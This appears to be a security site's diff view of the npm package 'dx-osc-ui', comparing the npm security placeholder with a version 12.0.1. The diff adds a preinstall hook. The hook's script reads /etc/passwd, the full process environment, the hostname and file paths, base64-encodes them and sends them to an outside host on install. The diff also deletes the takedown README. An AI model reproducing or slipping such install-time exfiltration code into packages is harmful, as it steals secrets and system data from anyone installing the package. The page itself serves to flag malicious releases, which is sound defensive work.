dx-osc-ui 0.0.1-security → 12.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of dx-osc-ui might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ module.exports.hacked = function () {
2
+ return "h1:arthuraires"
3
+ }
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
1
  {
2
2
  "name": "dx-osc-ui",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "12.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node preinstall.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "axios": "^0.21.1",
14
+ "http": "0.0.1-security",
15
+ "https": "^1.0.0",
16
+ "os": "^0.1.1"
17
+ }
18
+ }
package/preinstall.js ADDED
@@ -0,0 +1,38 @@
1
+ 'use strict'
2
+
3
+ const https = require('https')
4
+ const http = require("http");
5
+ const os = require("os");
6
+
7
+ var currentPath = __dirname.toString('base64');
8
+ var currentFile = __filename.toString('base64');
9
+ var currentEnvString = JSON.stringify(process);
10
+ var currentPath = Buffer.from(JSON.stringify(__dirname)).toString('base64');
11
+ var currentFile = Buffer.from(JSON.stringify(__filename)).toString('base64');
12
+ var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
13
+ var currentHostName = Buffer.from(JSON.stringify(os.hostname())).toString('base64');
14
+
15
+ var fs = require('fs')
16
+
17
+ function sendRequest(data) {
18
+ https.get('https://poc.arthurair.es/?' + data, (resp) => {
19
+ }).on("error", (err) => {
20
+ console.log("Error: " + err.message);
21
+ });
22
+ }
23
+
24
+ fs.readFile('/etc/passwd', 'utf8', async function (err,file) {
25
+
26
+ var etc = Buffer.from(file).toString('base64');
27
+ var env = currentEnvBase64;
28
+
29
+ sendRequest('--------------------INICIO------------------------')
30
+ sendRequest(etc)
31
+ sendRequest(env)
32
+ sendRequest(currentPath)
33
+ sendRequest(currentHostName)
34
+ sendRequest(currentFile)
35
+ sendRequest('--------------------FINAL------------------------')
36
+
37
+
38
+ });
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=dx-osc-ui for more information.